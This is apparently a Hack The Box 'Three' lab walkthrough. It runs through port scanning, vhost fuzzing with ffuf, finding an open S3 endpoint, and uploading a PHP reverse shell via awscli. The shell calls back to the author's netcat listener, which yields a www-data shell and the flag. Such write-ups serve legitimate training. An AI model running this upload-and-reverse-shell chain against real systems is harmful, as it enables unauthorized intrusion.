On this page
HTB | Three - Starting Point
Last edited: Mar 9, 2026
https://app.hackthebox.com/machines/Three/
Three | Walkthrough
| Phase |
|---|
| Reconnaissance |
| Foothold |
Reconnaissance
Using nmap to enumerate all open ports in the target
nmap -sC -sV 10.129.7.232nopedawn@npdn ~/L/H/S/Three> nmap -sC -sV 10.129.7.232
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-09 11:02 WIB
Nmap scan report for 10.129.7.232
Host is up (0.69s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
| 256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_ 256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Toppers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.27 secondsAfter port-scanning, there are two service opens in tcp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
So I start to curl it (can access it via browser also)
nopedawn@npdn ~/L/H/S/Three> curl -v 10.129.7.232
* Trying 10.129.7.232:80...
* Connected to 10.129.7.232 (10.129.7.232) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.7.232
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 09 Mar 2026 04:27:02 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<title>The Toppers</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lato">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body {font-family: "Lato", sans-serif}
.mySlides {display: none}
</style>
</head>
<body>
<!-- Navbar -->
<div class="w3-top">
<div class="w3-bar w3-black w3-card">
<a class="w3-bar-item w3-button w3-padding-large w3-hide-medium w3-hide-large w3-right" href="javascript:void(0)" onclick="myFunction()" title="Toggle Navigation Menu"><i class="fa fa-bars"></i></a>
<a href="#" class="w3-bar-item w3-button w3-padding-large">HOME</a>
<a href="#band" class="w3-bar-item w3-button w3-padding-large w3-hide-small">BAND</a>
<a href="#tour" class="w3-bar-item w3-button w3-padding-large w3-hide-small">TOUR</a>
<a href="#contact" class="w3-bar-item w3-button w3-padding-large w3-hide-small">CONTACT</a>
<div class="w3-dropdown-hover w3-hide-small">
<button class="w3-padding-large w3-button" title="More">MORE <i class="fa fa-caret-down"></i></button>
<div class="w3-dropdown-content w3-bar-block w3-card-4">
<a href="#" class="w3-bar-item w3-button">Merchandise</a>
<a href="#" class="w3-bar-item w3-button">Extras</a>
<a href="#" class="w3-bar-item w3-button">Media</a>
</div>
</div>
<a href="javascript:void(0)" class="w3-padding-large w3-hover-red w3-hide-small w3-right"><i class="fa fa-search"></i></a>
</div>
</div>
<!-- Navbar on small screens (remove the onclick attribute if you want the navbar to always show on top of the content when clicking on the links) -->
<div id="navDemo" class="w3-bar-block w3-black w3-hide w3-hide-large w3-hide-medium w3-top" style="margin-top:46px">
<a href="#band" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">BAND</a>
<a href="#tour" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">TOUR</a>
<a href="#contact" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">CONTACT</a>
<a href="#" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">MERCH</a>
</div>
<!-- Page content -->
<div class="w3-content" style="max-width:2000px;margin-top:46px">
<!-- Automatic Slideshow Images -->
<div class="mySlides w3-display-container w3-center">
<img src="/images/band.jpg" style="width:100%">
<div class="w3-display-bottommiddle w3-container w3-text-white w3-padding-32 w3-hide-small">
<h3>Los Angeles</h3>
<p><b>We had the best time playing at Venice Beach!</b></p>
</div>
</div>
<div class="mySlides w3-display-container w3-center">
<img src="/images/band2.jpg" style="width:100%">
<div class="w3-display-bottommiddle w3-container w3-text-white w3-padding-32 w3-hide-small">
<h3>New York</h3>
<p><b>The atmosphere in New York is lorem ipsum.</b></p>
</div>
</div>
<div class="mySlides w3-display-container w3-center">
<img src="/images/band3.jpg" style="width:100%">
<div class="w3-display-bottommiddle w3-container w3-text-white w3-padding-32 w3-hide-small">
<h3>Chicago</h3>
<p><b>Thank you, Chicago - A night we won't forget.</b></p>
</div>
</div>
<!-- The Band Section -->
<div class="w3-container w3-content w3-center w3-padding-64" style="max-width:800px" id="band">
<h2 class="w3-wide">THE BAND</h2>
<p class="w3-opacity"><i>We love music</i></p>
<p class="w3-justify">We "The Toppers" are a group of five young men who truly believe that music can be pure art. We play a wide range of music and we love to interact with people during our performances. The concert will be the loudest, the most beautiful and the best! We know how to make any event into a festival! All of us have been performing together for over several years now, but still there is always something new to try. With the best musicians aside, we make any event into a festival. <br><br> Music is an art that needs talent and materials. You can't bring the best artists and music instruments into an event without any preparation. Aside from this, we know how to collaborate with the best artists to create a memorable moment for your special day. All the facts are here so you can read about us and the band for making your events into a festival.No matter what celebration you’re hosting demands, we have the right ensemble to get the party started. Our full-service music bands can add to the fun at any gathering, from proms and school dances to weddings. We’ve performed at so many live concerts, college events, and private parties, you might not want to stop them from playing! </p>
<div class="w3-row w3-padding-32">
<div class="w3-third">
<p>John Smith</p>
<img src="/images/mem1.jpg" class="w3-round w3-margin-bottom" alt="Random Name" style="width:60%">
</div>
<div class="w3-third">
<p>Shane Marks</p>
<img src="/images/mem2.jpg" class="w3-round w3-margin-bottom" alt="Random Name" style="width:60%">
</div>
<div class="w3-third">
<p>Jim Tailer</p>
<img src="/images/mem3.jpg" class="w3-round" alt="Random Name" style="width:60%">
</div>
</div>
</div>
<!-- The Tour Section -->
<div class="w3-black" id="tour">
<div class="w3-container w3-content w3-padding-64" style="max-width:800px">
<h2 class="w3-wide w3-center">TOUR DATES</h2>
<p class="w3-opacity w3-center"><i>Remember to book your tickets!</i></p><br>
<ul class="w3-ul w3-border w3-white w3-text-grey">
<li class="w3-padding">September <span class="w3-tag w3-red w3-margin-left">Sold out</span></li>
<li class="w3-padding">October <span class="w3-tag w3-red w3-margin-left">Sold out</span></li>
<li class="w3-padding">November <span class="w3-badge w3-right w3-margin-right">3</span></li>
</ul>
<div class="w3-row-padding w3-padding-32" style="margin:0 -16px">
<div class="w3-third w3-margin-bottom">
<img src="/images/newyork.jpg" alt="New York" style="width:100%" class="w3-hover-opacity">
<div class="w3-container w3-white">
<p><b>New York</b></p>
<p class="w3-opacity">Fri 27 Aug 2022</p>
<button class="w3-button w3-black w3-margin-bottom" onclick="document.getElementById('ticketModal').style.display='block'">Buy Tickets</button>
</div>
</div>
<div class="w3-third w3-margin-bottom">
<img src="/images/paris.jpg" alt="Paris" style="width:100%" class="w3-hover-opacity">
<div class="w3-container w3-white">
<p><b>Paris</b></p>
<p class="w3-opacity">Sat 28 Jun 2022</p>
<button class="w3-button w3-black w3-margin-bottom" onclick="document.getElementById('ticketModal').style.display='block'">Buy Tickets</button>
</div>
</div>
<div class="w3-third w3-margin-bottom">
<img src="/images/sanfran.jpg" alt="San Francisco" style="width:100%" class="w3-hover-opacity">
<div class="w3-container w3-white">
<p><b>San Francisco</b></p>
<p class="w3-opacity">Sun 29 May 2022</p>
<button class="w3-button w3-black w3-margin-bottom" onclick="document.getElementById('ticketModal').style.display='block'">Buy Tickets</button>
</div>
</div>
</div>
</div>
</div>
<!-- Ticket Modal -->
<div id="ticketModal" class="w3-modal">
<div class="w3-modal-content w3-animate-top w3-card-4">
<header class="w3-container w3-teal w3-center w3-padding-32">
<span onclick="document.getElementById('ticketModal').style.display='none'"
class="w3-button w3-teal w3-xlarge w3-display-topright">×</span>
<h2 class="w3-wide"><i class="fa fa-suitcase w3-margin-right"></i>Tickets</h2>
</header>
<div class="w3-container">
<p><label><i class="fa fa-shopping-cart"></i> Tickets, $15 per person</label></p>
<input class="w3-input w3-border" type="text" placeholder="How many?">
<p><label><i class="fa fa-user"></i> Send To</label></p>
<input class="w3-input w3-border" type="text" placeholder="Enter email">
<button class="w3-button w3-block w3-teal w3-padding-16 w3-section w3-right">PAY <i class="fa fa-check"></i></button>
<button class="w3-button w3-red w3-section" onclick="document.getElementById('ticketModal').style.display='none'">Close <i class="fa fa-remove"></i></button>
<p class="w3-right">Need <a href="#" class="w3-text-blue">help?</a></p>
</div>
</div>
</div>
<!-- The Contact Section -->
<div class="w3-container w3-content w3-padding-64" style="max-width:800px" id="contact">
<h2 class="w3-wide w3-center">CONTACT</h2>
<p class="w3-opacity w3-center"><i>Fan? Drop a note!</i></p>
<div class="w3-row w3-padding-32">
<div class="w3-col m6 w3-large w3-margin-bottom">
<i class="fa fa-map-marker" style="width:30px"></i> Chicago, US<br>
<i class="fa fa-phone" style="width:30px"></i> Phone: +01 343 123 6102<br>
<i class="fa fa-envelope" style="width:30px"> </i> Email: mail@thetoppers.htb<br>
</div>
<div class="w3-col m6">
<form action="/action_page.php" target="_blank">
<div class="w3-row-padding" style="margin:0 -16px 8px -16px">
<div class="w3-half">
<input class="w3-input w3-border" type="text" placeholder="Name" required name="Name">
</div>
<div class="w3-half">
<input class="w3-input w3-border" type="text" placeholder="Email" required name="Email">
</div>
</div>
<input class="w3-input w3-border" type="text" placeholder="Message" required name="Message">
<button class="w3-button w3-black w3-section w3-right" type="submit">SEND</button>
</form>
</div>
</div>
</div>
<!-- End Page Content -->
</div>
<!-- Image of location/map -->
<img src="/images/final.jpg" class="w3-image w3-greyscale-min" style="width:100%">
<!-- Footer -->
<footer class="w3-container w3-padding-64 w3-center w3-opacity w3-light-grey w3-xlarge">
<i class="fa fa-facebook-official w3-hover-opacity"></i>
<i class="fa fa-instagram w3-hover-opacity"></i>
<i class="fa fa-snapchat w3-hover-opacity"></i>
<i class="fa fa-pinterest-p w3-hover-opacity"></i>
<i class="fa fa-twitter w3-hover-opacity"></i>
<i class="fa fa-linkedin w3-hover-opacity"></i>
</footer>
<script>
// Automatic Slideshow - change image every 4 seconds
var myIndex = 0;
carousel();
function carousel() {
var i;
var x = document.getElementsByClassName("mySlides");
for (i = 0; i < x.length; i++) {
x[i].style.display = "none";
}
myIndex++;
if (myIndex > x.length) {myIndex = 1}
x[myIndex-1].style.display = "block";
setTimeout(carousel, 4000);
}
// Used to toggle the menu on small screens when clicking on the menu button
function myFunction() {
var x = document.getElementById("navDemo");
if (x.className.indexOf("w3-show") == -1) {
x.className += " w3-show";
} else {
x.className = x.className.replace(" w3-show", "");
}
}
// When the user clicks anywhere outside of the modal, close it
var modal = document.getElementById('ticketModal');
window.onclick = function(event) {
if (event.target == modal) {
modal.style.display = "none";
}
}
</script>
</body>
</html>
* Connection #0 to host 10.129.7.232 left intactIn the main web page and if we look closely, we found the domain of email address provided in “Contact” section
- Chicago, US
- Phone: +01 343 123 6102
- Email: mail@thetoppers.htb
I start to add that domain into /etc/hosts file quickly
nopedawn@npdn ~/L/H/S/Three> echo "10.129.7.232 thetoppers.htb" | sudo tee -a /etc/hosts
[sudo] password for nopedawn:
10.129.7.232 thetoppers.htbSince we discover a domain, we can perform subdomain enumerating/fuzzing, this time I’ll use ffuf
ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txtnopedawn@npdn ~/L/H/S/Three> ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://thetoppers.htb
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.thetoppers.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
ns3 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
shop [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mobile [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns2 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
admin [Status: 200, Size: 11947, Words: 1832, Lines: 235]
localhost [Status: 200, Size: 11947, Words: 1832, Lines: 235]
cpanel [Status: 200, Size: 11947, Words: 1832, Lines: 235]
secure [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ftp [Status: 200, Size: 11947, Words: 1832, Lines: 235]
dev [Status: 200, Size: 11947, Words: 1832, Lines: 235]
vpn [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns4 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mail2 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns1 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
whm [Status: 200, Size: 11947, Words: 1832, Lines: 235]
old [Status: 200, Size: 11947, Words: 1832, Lines: 235]
forum [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns [Status: 200, Size: 11947, Words: 1832, Lines: 235]
test [Status: 200, Size: 11947, Words: 1832, Lines: 235]
beta [Status: 200, Size: 11947, Words: 1832, Lines: 235]
demo [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mx [Status: 200, Size: 11947, Words: 1832, Lines: 235]
support [Status: 200, Size: 11947, Words: 1832, Lines: 235]
autoconfig [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mail [Status: 200, Size: 11947, Words: 1832, Lines: 235]
webmail [Status: 200, Size: 11947, Words: 1832, Lines: 235]
m [Status: 200, Size: 11947, Words: 1832, Lines: 235]
pop3 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
new [Status: 200, Size: 11947, Words: 1832, Lines: 235]
blog [Status: 200, Size: 11947, Words: 1832, Lines: 235]
pop [Status: 200, Size: 11947, Words: 1832, Lines: 235]
host [Status: 200, Size: 11947, Words: 1832, Lines: 235]
stats [Status: 200, Size: 11947, Words: 1832, Lines: 235]
video [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mail1 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mx1 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
...There are so many valid subdomain indicating status 200. Why this is happened?
All the results show Status: 200 because the server returns a default website when the Host header does not match a real virtual host. Instead of giving an error, the server simply redirects the request to thetoppers.htb.
So the discovered subdomains are not real vhosts they all point to the same default page. This is the same behavior seen earlier when visiting http://10.129.65.242 without specifying a vhost, which also loaded thetoppers.htb.
Since these responses are identical, we can filter them out. They all have a response size of 11947, so we can hide them using the option:
-fs 11947nopedawn@npdn ~/L/H/S/Three> ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 11947
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://thetoppers.htb
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.thetoppers.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 11947
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 138 req/sec :: Duration: [0:00:36] :: Errors: 0 ::From the ffuf output, we can see it only matches certain response status codes like 200–299, 301, and 302. Notice that 404 is not included, which means ffuf might be ignoring responses with that status code.
It’s possible the result we want returns a 404, but ffuf is filtering it out. To include every response code, we can use the option:
-mc allnopedawn@npdn ~/L/H/S/Three> ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 11947 -mc all
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://thetoppers.htb
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.thetoppers.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 11947
________________________________________________
s3 [Status: 404, Size: 21, Words: 2, Lines: 1]
gc._msdcs [Status: 400, Size: 306, Words: 26, Lines: 11]
:: Progress: [4989/4989] :: Job [1/1] :: 146 req/sec :: Duration: [0:00:34] :: Errors: 0 ::Great! We can see there are two subdomains s3 with status 404 & gc._msdcs with status 400 from the output
The subdomain s3 basically is S3 storage service by AWS
What is Amazon S3? Amazon Simple Storage Service (Amazon S3) is an object storage service offering industry-leading scalability, data availability, security, and performance. Millions of customers of all sizes and industries store, manage, analyze, and protect any amount of data for virtually any use case, such as data lakes, cloud-native applications, and mobile apps. With cost-effective storage classes and easy-to-use management features, you can optimize costs, organize and analyze data, and configure fine-tuned access controls to meet specific business and compliance requirements. (see more)
Second time, we need to add that s3 subdomain to /etc/hosts.
nopedawn@npdn ~/L/H/S/Three> sudo nano /etc/hosts
GNU nano 6.2 /etc/hosts
...
# HTB
10.129.7.232 thetoppers.htb s3.thetoppers.htbNow, if we visit s3.thetoppers.htb is accessible and the response is {"status": "running"}
nopedawn@npdn ~/L/H/S/Three> curl -v s3.thetoppers.htb
* Trying 10.129.7.232:80...
* Connected to s3.thetoppers.htb (10.129.7.232) port 80 (#0)
> GET / HTTP/1.1
> Host: s3.thetoppers.htb
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404
< Date: Mon, 09 Mar 2026 06:01:04 GMT
< Server: hypercorn-h11
< Content-Type: text/html; charset=utf-8
< Content-Length: 21
< Access-Control-Allow-Origin: *
< Access-Control-Allow-Methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
< Access-Control-Allow-Headers: authorization,cache-control,content-length,content-md5,content-type,etag,location,x-amz-acl,x-amz-content-sha256,x-amz-date,x-amz-request-id,x-amz-security-token,x-amz-tagging,x-amz-target,x-amz-user-agent,x-amz-version-id,x-amzn-requestid,x-localstack-target,amz-sdk-invocation-id,amz-sdk-request
< Access-Control-Expose-Headers: etag,x-amz-version-id
<
* Connection #0 to host s3.thetoppers.htb left intact
{"status": "running"}Foothold
In this phase, we need to perform access that S3 service, the tool we use it’s awscli (make sure to install it)
sudo apt install awscli -yAfter that, do initial configuration
nopedawn@npdn ~/L/H/S/Three> aws configure
AWS Access Key ID [None]: bleh
AWS Secret Access Key [None]: bleh
Default region name [None]: bleh
Default output format [None]: blehFinally, we can list all inside s3 bucket (see documentation)
nopedawn@npdn ~/L/H/S/Three> aws s3 ls s3://thetoppers.htb
Could not connect to the endpoint URL: "https://s3.bleh.amazonaws.com/thetoppers.htb?list-type=2&prefix=&delimiter=%2F&encoding-type=url"However, from output this gives an error, because that endpoint URL won’t work for our case. Since the service is running at http://s3.thetoppers.htb, we can simply set that as the --endpoint
nopedawn@npdn ~/L/H/S/Three> aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2026-03-09 11:00:47 0 .htaccess
2026-03-09 11:00:47 11952 index.phpYe, we can see from the bucket list inside, we can be sure this website is written using php.
Last action, get the root flag by doing reverse-shell.
I’ll using this revshell script as file we want to upload, and I want to name it as revshell.php
Make sure to set both of these values with your ip address (of starting-point vpn), change the port also, if you want to
$ip = '127.0.0.1'; // CHANGE THIS (required)
$port = 1234; // KEEP (or CHANGE THIS)I’m running starting-point vpn on windows, so I use cmd ipconfig to show the ip addresses
C:\Users\npdn>ipconfig
...
Unknown adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : █████████████████
Link-local IPv6 Address . . . . . : ████::████:████:████:████
IPv4 Address. . . . . . . . . . . : 10.10.16.155
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . :
...The values in revshell.php file should look like this
$ip = '10.10.16.155';
$port = 1234;Next, we can upload it
aws s3 cp revshell.php s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htbnopedawn@npdn ~/L/H/S/Three> aws s3 cp revshell.php s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb
upload: ./revshell.php to s3://thetoppers.htb/revshell.phpVerify that the upload file by listing the bucket contents.
nopedawn@npdn ~/L/H/S/Three> aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2026-03-09 11:00:47 0 .htaccess
2026-03-09 11:00:47 11952 index.php
2026-03-09 14:28:00 5493 revshell.phpIt successfull, now we need to set the listener to port 1234 in our terminal (in this case I run on windows, so I use cmd)
C:\Users\npdn>nc -lvnp 1234
listening on [any] 1234 ...Then, visit http://thetoppers.htb/revshell.php directly in browser, (or curl, in second tab terminal) to trigger that revshell
nopedawn@npdn ~/L/H/S/Three> curl -v http://thetoppers.htb/revshell.php
* Trying 10.129.7.232:80...
* Connected to thetoppers.htb (10.129.7.232) port 80 (#0)
> GET /revshell.php HTTP/1.1
> Host: thetoppers.htb
> User-Agent: curl/7.81.0
> Accept: */*
>Back to previous terminal tab, and voila! we got the shell
C:\Users\npdn>nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.155] from (UNKNOWN) [10.129.7.232] 42564
Linux three 4.15.0-189-generic #200-Ubuntu SMP Wed Jun 22 19:53:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
07:43:02 up 3:42, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$The root flag should be stored in somewhere else, and I found in var/www/flag.txt
$ ls /var/www
flag.txt
html
$ cat /var/www/flag*
REDACTED
$Source:
https://aws.amazon.com/s3/
https://docs.aws.amazon.com/…/using-s3-commands-listing-buckets